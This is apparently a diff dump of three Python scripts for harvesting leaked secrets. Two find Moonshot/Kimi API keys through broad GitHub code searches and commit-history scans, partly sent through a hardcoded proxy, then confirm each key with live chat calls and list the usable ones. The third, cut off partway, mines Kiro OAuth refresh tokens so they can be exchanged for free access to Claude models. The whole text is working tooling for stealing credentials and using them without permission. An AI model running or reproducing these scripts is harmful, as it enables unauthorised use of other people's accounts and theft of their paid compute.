if code == 401:
return "DEAD", "401 unauthorized"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"balance HTTP {code}: {body[:140]}"
def classify_chat(code, body, model):
bl = (body or "").lower()
if code == 200:
if '"choices"' in bl or '"id"' in bl:
return "USABLE", f"chat {model}: 200"
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
return "NO_BALANCE", f"chat {model}: {body[:120]}"
return "USABLE", f"chat {model}: {body[:120]}"
if code in (402, 429):
return "NO_BALANCE", f"chat {model} HTTP {code}: {body[:120]}"
if code == 401:
return "DEAD", f"chat {model}: 401"
if code == 0:
return "UNKNOWN", body[:160]
return "NO_ACCESS", f"chat {model} HTTP {code}: {body[:140]}"
def verify(key):
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
best = "DEAD"
best_detail = ""
def update(v, d):
nonlocal best, best_detail
if rank[v] > rank[best]:
best, best_detail = v, d
# 1) balance
code, body = http("GET", "/v1/users/me/balance", key)
update(*classify_balance(code, body))
if best == "USABLE":
return best, best_detail
# 2) chat — moonshot-v1-8k (default cheap model)
code, body = http("POST", "/v1/chat/completions", key, body={
"model": "moonshot-v1-8k",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
})
update(*classify_chat(code, body, "v1-8k"))
if best == "USABLE":
return best, best_detail
# 3) chat — kimi-k2 (long-context / reasoning-capable, some keys only have this)
code, body = http("POST", "/v1/chat/completions", key, body={
"model": "kimi-k2-0905-preview",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1,
})
update(*classify_chat(code, body, "k2"))
return best, best_detail
def load_keys():
keys = {}
fakes = ("xxxx", "your-", "example", "test-key", "placeholder", "sk-00000000")
# Moonshot keys: sk- + 48 chars (mixed case letters/digits). Some newer
# keys are hex-only 32 chars like DeepSeek, but to avoid false positives
# with OpenAI sk- keys we require the documented 48-char form OR a 32-hex
# form that did not match OpenAI patterns.
pat_long = re.compile(r"^sk-[A-Za-z0-9]{48}$")
pat_hex = re.compile(r"^sk-[a-f0-9]{32}$")
if not SOURCE.exists():
print(f"ERROR: {SOURCE} not found", file=sys.stderr)
sys.exit(1)
with open(SOURCE) as f:
for line in f:
line = line.strip()
if not line.startswith("Moonshot|"):
continue
parts = line.split("|", 3)
if len(parts) < 3:
continue
key = parts[1]
url = parts[2] if len(parts) > 2 else ""
low = key.lower()
if any(x in low for x in fakes):
continue
if "T3BlbkFJ" in key: # this is actually an OpenAI key
continue
if not (pat_long.match(key) or pat_hex.match(key)):
continue
if key not in keys:
keys[key] = url
with open(OUT / "extracted_keys.txt", "w") as f:
for k, src in sorted(keys.items()):
f.write(f"{k}|{src}\n")
print(f"Loaded {len(keys)} unique Moonshot keys")
return keys
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--workers", type=int, default=15)
ap.add_argument("--limit", type=int, default=0)
args = ap.parse_args()
keys = load_keys()
if args.limit:
keys = dict(list(keys.items())[:args.limit])
print(f" (limited to first {args.limit})")
if not keys:
print("No keys to verify.")
return
print(f"\nDeep verifying {len(keys)} Kimi keys against api.moonshot.cn (workers={args.workers})...")
print("Rule: only 401 = dead; everything else kept.\n")
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
start = time.time()
processed = 0
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(verify, k): (k, s) for k, s in keys.items()}
for fut in as_completed(futs):
k, s = futs[fut]
processed += 1
try:
verdict, detail = fut.result()
except Exception as e:
verdict, detail = "UNKNOWN", str(e)
buckets[verdict].append((k, s, detail))
if processed % 50 == 0:
el = time.time() - start
print(f" [{processed}/{len(keys)}] "
f"usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} "
f"noacc={len(buckets['NO_ACCESS'])} "
f"unk={len(buckets['UNKNOWN'])} "
f"dead={len(buckets['DEAD'])} "
f"({processed/el:.1f}/s)")
el = time.time() - start
print(f"\nDone in {el:.1f}s")
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {n:11s}: {len(buckets[n])}")
for name, path in [
("USABLE", OUT / "usable.txt"),
("NO_BALANCE", OUT / "no_balance.txt"),
("NO_ACCESS", OUT / "no_access.txt"),
("UNKNOWN", OUT / "unknown.txt"),
("DEAD", OUT / "dead.txt"),
]:
with open(path, "w") as f:
for k, s, d in sorted(buckets[name]):
f.write(f"{k}|{s}|{d}\n")
print(f" written: {path}")
with open(OUT / "all_non_401.txt", "w") as f:
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for k, s, d in sorted(buckets[n]):
f.write(f"{n}|{k}|{s}|{d}\n")
print(f" written: {OUT / 'all_non_401.txt'}")
if buckets["USABLE"]:
print("\n=== USABLE keys ===")
for k, s, d in sorted(buckets["USABLE"]):
print(f" {k} {d}")
print(f" src: {s}")
if __name__ == "__main__":
main()
@@ -0,0 +1,404 @@
#!/usr/bin/env python3
"""Kimi (Moonshot AI) deep-miner v2.
Over the verify-only hunt_kimi.py:
- GitHub code search with a broad query set (env vars, api.moonshot.cn in many
languages/configs, kimi model strings, base_url/openai-compat, docker/k8s/CI).
- HEAD raw extraction + optional bounded per-file commit-history scan.
- Incremental candidate/key checkpoints.
Moonshot keys: sk-<mixed-case alnum, ~48 chars> (documented form). We also accept
the 32-hex form only when it appears in a Kimi/Moonshot context (the fetch step
already scopes candidate files to such contexts), to avoid OpenAI false positives.
Verify: GET /v1/users/me/balance -> chat moonshot-v1-8k -> kimi-k2.
Only HTTP 401 => DEAD. Outputs results/kimi_v2/.
"""
import argparse, json, os, re, subprocess, sys, time
import urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent))
from verify_cache import CachedVerifier
from content_cache import ContentCache, parse_raw_url
HERE=Path(__file__).parent
RESULTS=HERE/"results"/"kimi_v2"; RESULTS.mkdir(parents=True,exist_ok=True)
EXTRACTED=RESULTS/"extracted_keys.txt"; CANDIDATES=RESULTS/"candidates.txt"
GLOBAL=HERE/"results"/"extracted_keys.txt"
UA="curl/8.5.0"; BASE="https://api.moonshot.cn"
GH_PROXY=os.environ.get("GH_PROXY","http://114.111.19.228:3389")
_gh=None
def gh_opener():
global _gh
if _gh is None:
_gh=urllib.request.build_opener(urllib.request.ProxyHandler({"http":GH_PROXY,"https":GH_PROXY})) if GH_PROXY else urllib.request.build_opener()
return _gh
_di=None
def direct():
global _di
if _di is None: _di=urllib.request.build_opener(urllib.request.ProxyHandler({}))
return _di
# Moonshot documented key: sk- + 48 mixed-case alnum. Widen slightly 40-60.
LONG_RE=re.compile(r"sk-[A-Za-z0-9]{40,60}")
HEX_RE=re.compile(r"sk-[a-f0-9]{32}")
FAKES=("xxxx","your-","example","placeholder","test-key","sk-00000000","t3blbkfj","<your")
SEARCH_QUERIES=[
'"MOONSHOT_API_KEY" extension:env','"MOONSHOT_API_KEY" filename:.env',
'"MOONSHOT_API_KEY" extension:env.example','"MOONSHOT_API_KEY" extension:env.local',
'"MOONSHOT_API_KEY" extension:yaml','"MOONSHOT_API_KEY" extension:yml',
'"MOONSHOT_API_KEY" extension:json','"MOONSHOT_API_KEY" extension:toml',
'"MOONSHOT_API_KEY" extension:ini','"MOONSHOT_API_KEY" extension:properties',
'"MOONSHOT_API_KEY" extension:py','"MOONSHOT_API_KEY" extension:ipynb',
'"MOONSHOT_API_KEY" extension:js','"MOONSHOT_API_KEY" extension:ts',
'"MOONSHOT_API_KEY" extension:go','"MOONSHOT_API_KEY" extension:java',
'"MOONSHOT_API_KEY" extension:kt','"MOONSHOT_API_KEY" extension:rb',
'"MOONSHOT_API_KEY" extension:php','"MOONSHOT_API_KEY" extension:cs',
'"MOONSHOT_API_KEY" extension:rs','"MOONSHOT_API_KEY" extension:swift',
'"MOONSHOT_API_KEY" extension:dart','"MOONSHOT_API_KEY" extension:sh',
'"KIMI_API_KEY" extension:env','"KIMI_API_KEY" filename:.env',
'"KIMI_API_KEY" extension:py','"KIMI_API_KEY" extension:js','"KIMI_API_KEY" extension:ts',
'"KIMI_API_KEY" extension:json','"KIMI_API_KEY" extension:yaml',
'"MOONSHOT_KEY" extension:env','"MOONSHOT_TOKEN" extension:env',
'"api.moonshot.cn" extension:py','"api.moonshot.cn" extension:js','"api.moonshot.cn" extension:ts',
'"api.moonshot.cn" extension:go','"api.moonshot.cn" extension:java','"api.moonshot.cn" extension:php',
'"api.moonshot.cn" extension:rb','"api.moonshot.cn" extension:cs','"api.moonshot.cn" extension:rs',
'"api.moonshot.cn" extension:json','"api.moonshot.cn" extension:yaml','"api.moonshot.cn" extension:yml',
'"api.moonshot.cn/v1"','"api.moonshot.cn/v1/chat/completions"',
'"api.moonshot.cn" bearer sk-','"https://api.moonshot.cn/v1" "sk-"',
'"moonshot-v1-8k" "sk-"','"moonshot-v1-32k" "sk-"','"moonshot-v1-128k" "sk-"',
'"kimi-k2" "sk-"','"kimi-k2-0905-preview" "sk-"','"kimi-latest" "sk-"','"moonshot-v1-8k" "api_key"',
'MOONSHOT_API_KEY=sk-','KIMI_API_KEY=sk-','moonshot_api_key=sk-','MOONSHOT_KEY=sk-',
'"base_url" "api.moonshot.cn" extension:py','"base_url" "https://api.moonshot.cn"',
'"base_url" "api.moonshot.cn" extension:js','"api.moonshot.cn" "OPENAI_API_KEY"',
'"api.moonshot.cn" filename:.env','moonshot "base_url" filename:.env',
'moonshot "sk-" filename:config.json','moonshot "sk-" filename:config.toml',
'moonshot "sk-" filename:config.yaml','moonshot "sk-" filename:settings.py',
'moonshot "sk-" filename:local.settings.json','moonshot "sk-" filename:application.yml',
'"MOONSHOT_API_KEY" filename:docker-compose','"MOONSHOT_API_KEY" filename:Dockerfile',
'"MOONSHOT_API_KEY" path:.github','"MOONSHOT_API_KEY" path:.gitlab',
'"api.moonshot.cn" filename:values.yaml','"api.moonshot.cn" filename:deployment.yaml',
'moonshot "sk-" filename:.env','"moonshot/v1" filename:.env',
'OpenAI(api_key=sk- "api.moonshot.cn"','Moonshot(api_key=sk-','new Moonshot sk-',
'"moonshot" "sk-" extension:md','"kimi" "api_key" extension:md',
'moonshot "sk-" filename:README','"MOONSHOT_API_KEY" filename:README',
'"moonshot" "sk-" extension:env','"kimi" "sk-" filename:.env',
]
def github_token():
t=os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if t: return t
try:
o=subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
if o.returncode==0: return o.stdout.strip()
except FileNotFoundError: pass
h=Path.home()/".config"/"gh"/"hosts.yml"
if h.exists():
for ln in h.read_text().splitlines():
ln=ln.strip()
if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip()
return None
def gh_api(url,token):
hd={"Accept":"application/vnd.github+json","User-Agent":"key-hunter"}
if token: hd["Authorization"]=f"Bearer {token}"
req=urllib.request.Request(url,headers=hd)
for _ in range(6):
try:
with gh_opener().open(req,timeout=30) as r: return json.loads(r.read())
except urllib.error.HTTPError as e:
if e.code in (403,429):
rs=e.headers.get("X-RateLimit-Reset"); w=max(int(rs)-int(time.time()),5) if rs else 30
print(f" rate-limited {w}s",file=sys.stderr); time.sleep(w+1); continue
if e.code==422: return None
e.read(); return None
except Exception as e:
print(f" net {e}",file=sys.stderr); time.sleep(3)
return None
def gh_search(q,token,pp=100,pages=10):
for page in range(1,pages+1):
d=gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}",token)
if not d: return
items=d.get("items",[])
if not items: return
for it in items: yield it
if len(items)<pp: return
time.sleep(2.2 if token else 7)
def to_raw(u): return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
def split_html_url(u):
m=re.match(r"https://github\.com/([^/]+/[^/]+)/blob/([^/]+)/(.*)",u)
if m: return m.group(1),m.group(2),m.group(3)
return None,None,None
def fetch_raw(url):
req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
try:
with gh_opener().open(req,timeout=20) as r: return r.read().decode("utf-8","replace")
except Exception: return ""
def make_cached_fetch(cc, fetcher=fetch_raw):
"""Return a fetch_raw replacement served by ContentCache.
Parses repo/sha/path out of the URL; immutable blob SHAs are cached
forever, so unchanged search results never get re-crawled."""
def cached(url):
repo, sha, path = parse_raw_url(url)
if repo and sha and path:
txt = cc.get(repo, path, sha)
if txt is not None:
return txt
txt = fetcher(url)
if txt:
cc.put(repo, path, sha, txt)
return txt
return fetcher(url)
return cached
def list_file_commits(repo,path,token,max_commits=3):
shas=[]
d=gh_api(f"https://api.github.com/repos/{repo}/commits?path={urllib.parse.quote(path)}&per_page={max_commits}",token)
if not d: return shas
for c in d:
try: shas.append(c["sha"])
except Exception: pass
return shas
def extract(text,keys,src):
n=0
low=text.lower()
kimi_ctx = ("moonshot" in low) or ("kimi" in low)
for k in LONG_RE.findall(text or ""):
kl=k.lower()
if any(f in kl for f in FAKES): continue
# reject obvious OpenAI project keys
if "t3blbkfj" in kl: continue
if k not in keys: keys[k]=src; n+=1
# only accept 32-hex when file context is moonshot/kimi (avoid OpenAI/DeepSeek collisions)
if kimi_ctx:
for k in HEX_RE.findall(text or ""):
if k not in keys and not any(f in k for f in FAKES):
keys[k]=src; n+=1
return n
def http(method,path,key,body=None,timeout=25):
h={"User-Agent":UA,"Accept":"*/*","Authorization":f"Bearer {key}"}
data=None
if body is not None:
data=json.dumps(body).encode(); h["Content-Type"]="application/json"
req=urllib.request.Request(BASE+path,data=data,headers=h,method=method)
try:
with direct().open(req,timeout=timeout) as r: return r.getcode(),r.read().decode("utf-8","replace")
except urllib.error.HTTPError as e:
try: return e.code,e.read().decode("utf-8","replace")
except Exception: return e.code,""
except Exception as e:
return 0,f"network: {type(e).__name__}: {e}"
RANK={"USABLE":4,"NO_BALANCE":3,"NO_ACCESS":2,"UNKNOWN":1,"DEAD":0}
def bump(best,detail,v,d):
if RANK[v]>RANK[best]: return v,d
return best,detail
def verify(key):
# NOTE: Moonshot's /balance LIES. Accounts with suspended/arrears still
# report positive balance, so we NEVER trust it alone - a real chat 200
# is the only USABLE signal. We use balance only as a weak hint.
best,detail="DEAD",""
code,body=http("GET","/v1/users/me/balance",key)
bal_hint=""
if code==200:
try:
d=json.loads(body); inner=d.get("data",d)
val=0.0
for fld in ("available_balance","balance","cash_balance","voucher_balance"):
try: val=max(val,float(inner.get(fld,0) or 0))
except (TypeError,ValueError): pass
if val>0: bal_hint=f"bal=CNY{val:.2f} "
except Exception: pass
best,detail="NO_BALANCE",f"{bal_hint}balance OK (unverified)"
elif code in (402,429):
best,detail="NO_BALANCE",f"bal HTTP {code}: {body[:120]}"
elif code==0:
best,detail="UNKNOWN",body[:160]
elif code!=401:
best,detail="NO_ACCESS",f"bal HTTP {code}: {body[:120]}"
# ALWAYS run a real chat - this is the source of truth.
for model in ("moonshot-v1-8k","kimi-k2-0905-preview"):
code,body=http("POST","/v1/chat/completions",key,body={
"model":model,"max_tokens":8,"messages":[{"role":"user","content":"reply OK"}]})
bl=(body or "").lower()
if code==200 and '"choices"' in bl:
try:
txt=json.loads(body)["choices"][0]["message"].get("content","")
return "USABLE",f"chat OK ({model}) {bal_hint}reply={txt[:30]!r}"
except Exception:
return "USABLE",f"chat 200 OK ({model}) {bal_hint}"
if any(x in bl for x in ("suspended","insufficient_balance","insufficient balance",
"exceeded_current_quota","arrearage","recharge",
"account is suspended")):
best,detail="NO_BALANCE",f"[{model}] suspended/arrears: {body[:140]}"
elif code in (402,429) or any(x in bl for x in ("balance","quota")):
v,d="NO_BALANCE",f"[{model}] HTTP {code}: {body[:140]}"
if RANK[v]>RANK[best]: best,detail=v,d
elif code==401:
return "DEAD",f"chat 401 ({model})"
elif code==0:
if RANK["UNKNOWN"]>RANK[best]: best,detail="UNKNOWN",body[:160]
else:
v,d="NO_ACCESS",f"[{model}] HTTP {code}: {body[:120]}"
if RANK[v]>RANK[best]: best,detail=v,d
return best,detail
def main():
ap=argparse.ArgumentParser()
ap.add_argument("--verify-only",action="store_true")
ap.add_argument("--workers",type=int,default=20)
ap.add_argument("--commit-workers",type=int,default=10)
ap.add_argument("--max-commits",type=int,default=3,
help="per-file commit history depth (0 disables Stage 2c)")
ap.add_argument("--resume",action="store_true")
ap.add_argument("--limit",type=int,default=0)
ap.add_argument("--no-cache",action="store_true",help="ignore verification cache")
ap.add_argument("--no-content-cache",action="store_true",
help="ignore raw file content cache (always re-crawl)")
args=ap.parse_args()
keys={}
# seed from global pool
if GLOBAL.exists():
for line in GLOBAL.read_text().splitlines():
if not line.startswith("Moonshot|"): continue
p=line.split("|",3)
if len(p)>=3: keys.setdefault(p[1],p[2])
# seed from prior kimi v1 extracted
v1=HERE/"results"/"kimi"/"extracted_keys.txt"
if v1.exists():
for line in v1.read_text().splitlines():
p=line.split("|",1)
if p: keys.setdefault(p[0],p[1] if len(p)>1 else "v1")
print(f"seeded {len(keys)} known Kimi keys")
candidates={}
if args.resume and CANDIDATES.exists():
for line in CANDIDATES.read_text().splitlines():
if "|" in line:
u,r=line.split("|",1); candidates[u]=r
print(f"resumed {len(candidates)} candidates")
if not args.verify_only:
token=github_token(); print(f"GitHub token: {'yes' if token else 'NO'}\n")
print("=== Stage 1: search ===")
for i,q in enumerate(SEARCH_QUERIES,1):
print(f" [{i:3d}/{len(SEARCH_QUERIES)}] {q}")
try:
for it in gh_search(q,token):
u=it.get("html_url","")
if u and u not in candidates:
candidates[u]=it.get("repository",{}).get("full_name","?")
except Exception as e:
print(f" err {e}",file=sys.stderr)
if i%10==0:
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
print(f" candidates: {len(candidates)}")
print("\n=== Stage 2a: HEAD fetch & extract ===")
done=new=0
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
cfetch = make_cached_fetch(cc)
with ThreadPoolExecutor(max_workers=20) as pool:
futs={pool.submit(cfetch,to_raw(u)):u for u in candidates}
for fut in as_completed(futs):
u=futs[fut]; done+=1
try: c=fut.result()
except Exception: c=""
new+=extract(c,keys,u)
if done%200==0:
print(f" {done}/{len(candidates)} keys={len(keys)} new={new} "
f"cache={cc.hits}hit/{cc.misses}fetch")
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
st=cc.stats()
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
f"({st['bytes_served']} bytes served from cache)")
print(f" after HEAD: {len(keys)} keys ({new} new)")
if args.max_commits>0 and token:
print(f"\n=== Stage 2c: commit history (depth {args.max_commits}) ===")
repo_paths={}
for u in candidates:
repo,sha,path=split_html_url(u)
if repo and path: repo_paths.setdefault(repo,set()).add(path)
tasks=[(r,p) for r,paths in repo_paths.items() for p in paths]
print(f" {len(tasks)} (repo,path) pairs, {len(repo_paths)} repos")
done=0
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
cfetch = make_cached_fetch(cc)
def job(rp):
repo,path=rp; found=[]
for sha in list_file_commits(repo,path,token,args.max_commits):
txt=cfetch(f"https://raw.githubusercontent.com/{repo}/{sha}/{path}")
for k in LONG_RE.findall(txt or ""):
if "t3blbkfj" not in k.lower() and not any(f in k.lower() for f in FAKES):
found.append((k,f"https://github.com/{repo}/blob/{sha}/{path}"))
return found
with ThreadPoolExecutor(max_workers=args.commit_workers) as pool:
futs={pool.submit(job,t):t for t in tasks}
for fut in as_completed(futs):
done+=1
try:
for k,src in fut.result():
if k not in keys: keys[k]=src; new+=1
except Exception: pass
if done%200==0:
print(f" {done}/{len(tasks)} keys={len(keys)} new={new} "
f"cache={cc.hits}hit/{cc.misses}fetch")
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
st=cc.stats()
print(f" commit content cache: {st['hits']} hits, {st['misses']} fetched")
print(f" after commits: {len(keys)} keys")
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
if args.verify_only and EXTRACTED.exists():
keys={}
for line in EXTRACTED.read_text().splitlines():
p=line.split("|",1)
if p: keys[p[0]]=p[1] if len(p)>1 else "?"
if args.limit>0:
keys=dict(list(keys.items())[:args.limit])
print(f"\n=== Stage 3: verify {len(keys)} keys (workers={args.workers}) ===")
B={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
done=0; st=time.time()
with CachedVerifier("kimi", verify, force=args.no_cache) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs={pool.submit(ver,k):(k,s) for k,s in keys.items()}
for fut in as_completed(futs):
k,s=futs[fut]; done+=1
try: v,d=fut.result()
except Exception as e: v,d="UNKNOWN",f"exc {e}"
B[v].append((k,s,d))
if done%100==0:
el=time.time()-st
print(f" [{done:5d}/{len(keys)}] use={len(B['USABLE'])} nobal={len(B['NO_BALANCE'])} noacc={len(B['NO_ACCESS'])} unk={len(B['UNKNOWN'])} dead={len(B['DEAD'])} ({done/el:.1f}/s)")
print(f" cache: {ver.stats()['hits']} hits, {ver.stats()['live']} live queries")
print(f"\nDone in {time.time()-st:.1f}s")
for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
p=RESULTS/f"{n.lower()}.txt"
p.write_text("\n".join(f"{k}|{s}|{d}" for k,s,d in sorted(B[n])))
print(f" {n:11s}: {len(B[n]):5d} -> {p.name}")
(RESULTS/"all_non_401.txt").write_text("\n".join(
f"{n}|{k}|{s}|{d}" for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN") for k,s,d in sorted(B[n])))
if B["USABLE"]:
print("\n=== USABLE ===")
for k,s,d in sorted(B["USABLE"]): print(f" {k}\n {s}\n {d}")
if __name__=="__main__":
main()
+458
View File
@@ -0,0 +1,458 @@
#!/usr/bin/env python3
"""Kiro (AWS AI IDE) full hunter.
Kiro uses OAuth refresh tokens rather than static API keys. A valid refresh token
can be exchanged at https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken for a
short-lived access_token, which drives Claude Sonnet/Haiku 4.5 via the
q.us-east-1.amazonaws.com/generateAssistantResponse endpoint — for free.
Pipeline:
1. GitHub code search (30+ Kiro-specific queries), routed through a CN proxy
that can reach api.github.com (GFW blocks it from this host).
2. Fetch raw files and extract:
- KIRO_REFRESH_TOKEN / KIRO_ACCESS_TOKEN env values
- KIRO_AUTH_TOKEN JSON arrays: [{"auth":"Social","refreshToken":"..."},...]
- refreshToken/refresh_token fields in .json/.env/config files near "kiro"
3. Verify each refresh token via the refresh endpoint.
200 + access_token -> USABLE (a fresh access token is the prize)
401 -> DEAD
anything else -> kept (NO_ACCESS / UNKNOWN / NO_BALANCE per LO's rule)
4. For USABLE tokens, optionally do a live chat probe to confirm credits.
Outputs results/kiro/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
Each USABLE line stores: refreshToken|source|access_token|expires_in|detail
"""
import argparse
import json
import os
import re
import subprocess
import sys
import time
import uuid
import urllib.request
import urllib.error
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
RESULTS_DIR = HERE / "results" / "kiro"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
EXTRACTED_FILE = RESULTS_DIR / "extracted_tokens.txt"
# GitHub API is GFW-blocked; route through a CN proxy known to reach it.
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
UA = "curl/8.5.0"
# Kiro refresh tokens are JWTs (eyJ...eyJ...sig with two dots) or long opaque
# base64url strings. Must include '.' for JWTs; be permissive but avoid placeholders.
TOKEN_RE = re.compile(r"[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}")
OPAQUE_RE = re.compile(r"[A-Za-z0-9_\-]{120,}")
PLACEHOLDER = ("your-", "example", "xxxx", "placeholder", "changeme",
"replace", "dummy", "test-token", "<", "...", "refreshtoken",
"accesstoken", "clientid", "clientsecret")
SEARCH_QUERIES = [
"KIRO_REFRESH_TOKEN",
"KIRO_ACCESS_TOKEN",
"KIRO_AUTH_TOKEN",
'"kiro.dev/refreshToken"',
'"prod.us-east-1.auth.desktop.kiro.dev"',
'"auth.desktop.kiro.dev" refreshToken',
'"refreshToken" "kiro" extension:json',
'"refreshToken" "kiro" extension:env',
'"refreshToken" "kiro" extension:yaml',
'"refreshToken" "kiro" extension:yml',
'"refreshToken" "kiro" extension:toml',
'"refresh_token" "kiro" extension:py',
'"refresh_token" "kiro" extension:js',
'"refresh_token" "kiro" extension:ts',
'"refresh_token" "kiro" extension:go',
'"kiro" "accessToken" "refreshToken" extension:json',
'KIRO_AUTH_TOKEN extension:env',
'KIRO_AUTH_TOKEN extension:json',
'KIRO_REFRESH_TOKEN extension:env',
'KIRO_REFRESH_TOKEN extension:json',
'KIRO_REFRESH_TOKEN extension:yaml',
'"kiro2api" refreshToken',
'"kiro" filename:docker-compose',
'"KIRO_REFRESH_TOKEN=" filename:.env',
'"KIRO_AUTH_TOKEN=" filename:.env',
'"kiro" "Social" "refreshToken"',
'"kiro" "IdC" "refreshToken" "clientId"',
'"q.us-east-1.amazonaws.com"',
'"generateAssistantResponse" token',
'"KiroIDE" refreshToken',
'"kiro-stack" refresh',
'"proxykiro" refresh',
'"2-api" kiro refreshToken',
]
_gh_opener = None
def gh_opener():
global _gh_opener
if _gh_opener is None:
handler = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({})
_gh_opener = urllib.request.build_opener(handler)
return _gh_opener
def github_token():
tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if tok:
return tok
try:
out = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True, timeout=10)
if out.returncode == 0:
return out.stdout.strip()
except FileNotFoundError:
pass
hosts = Path.home() / ".config" / "gh" / "hosts.yml"
if hosts.exists():
for line in hosts.read_text().splitlines():
if line.strip().startswith("oauth_token:"):
return line.split(":", 1)[1].strip()
return None
def gh_api_search(query, token, per_page=100):
headers = {"Accept": "application/vnd.github+json", "User-Agent": "kiro-hunter"}
if token:
headers["Authorization"] = f"Bearer {token}"
for page in range(1, 11):
url = ("https://api.github.com/search/code"
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
req = urllib.request.Request(url, headers=headers)
try:
with gh_opener().open(req, timeout=30) as resp:
data = json.loads(resp.read())
except urllib.error.HTTPError as e:
if e.code in (403, 429):
reset = e.headers.get("X-RateLimit-Reset")
wait = max(int(reset) - int(time.time()), 5) if reset else 30
print(f" rate-limited, waiting {wait}s...", file=sys.stderr, flush=True)
time.sleep(wait + 1)
continue
if e.code == 422:
return
print(f" HTTP {e.code} for {query!r}", file=sys.stderr)
return
except Exception as e:
print(f" network error: {e}", file=sys.stderr, flush=True)
return
items = data.get("items", [])
if not items:
return
for it in items:
yield it
if len(items) < per_page:
return
time.sleep(2.2 if token else 7)
def to_raw_url(u):
return u.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
def fetch_raw(url):
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
try:
with gh_opener().open(req, timeout=20) as resp:
return resp.read().decode("utf-8", errors="replace")
except Exception:
return ""
def plausible_token(t):
if not t or len(t) < 60:
return False
low = t.lower()
if any(p in low for p in PLACEHOLDER):
return False
# must look like a JWT (two dots) or a long opaque base64url secret
is_jwt = t.count(".") == 2 and all(part for part in t.split("."))
is_opaque = ("." not in t) and len(t) >= 120 and re.fullmatch(r"[A-Za-z0-9_\-]+", t)
if not (is_jwt or is_opaque):
return False
# reject other-provider static keys that are too short / wrong shape
if re.fullmatch(r"[a-f0-9]{32}", t):
return False
if t.startswith("sk-") and len(t) < 60:
return False
return True
def extract_tokens(content):
"""Return list of (refresh_token, auth_method, client_id, client_secret)."""
found = {} # token -> tuple(auth, cid, csec)
def add(tok, auth="social", cid=None, csec=None):
tok = tok.strip().strip("'\"").rstrip(",;")
if plausible_token(tok) and tok not in found:
found[tok] = (auth, cid, csec)
# 1) KIRO_AUTH_TOKEN JSON array: [{"auth":"Social","refreshToken":"..."}, ...]
for m in re.finditer(r"KIRO_AUTH_TOKEN[^A-Za-z0-9]{0,6}(\[.*?\])", content, re.S):
chunk = m.group(1)
try:
arr = json.loads(chunk)
except Exception:
# try to find JSON objects within
arr = []
for obj in re.findall(r"\{[^{}]*\}", chunk):
try:
arr.append(json.loads(obj))
except Exception:
pass
for item in arr if isinstance(arr, list) else []:
if not isinstance(item, dict):
continue
rt = item.get("refreshToken") or item.get("refresh_token")
if rt:
auth = str(item.get("auth", "social")).lower()
add(rt, auth, item.get("clientId"), item.get("clientSecret"))
# 2) KIRO_REFRESH_TOKEN=... / REFRESH_TOKEN=... (JWT or opaque)
for m in re.finditer(r"(?:KIRO_)?REFRESH_TOKEN\s*[=:]\s*['\"]?([A-Za-z0-9_\-\.]+)['\"]?", content):
add(m.group(1), "social")
# 3) "refreshToken": "..." or refresh_token = "..." (JWTs include dots)
for m in re.finditer(r'"?refresh[_Tt]oken"?\s*[=:]\s*"([A-Za-z0-9_\-\.]{60,})"', content):
add(m.group(1), "social")
# 4) Builder ID / IdC: look for clientId+clientSecret+refreshToken proximity
for m in re.finditer(r'\{[^{}]*?"refreshToken"\s*:\s*"([^"]+)"[^{}]*?\}', content, re.S):
chunk = m.group(0)
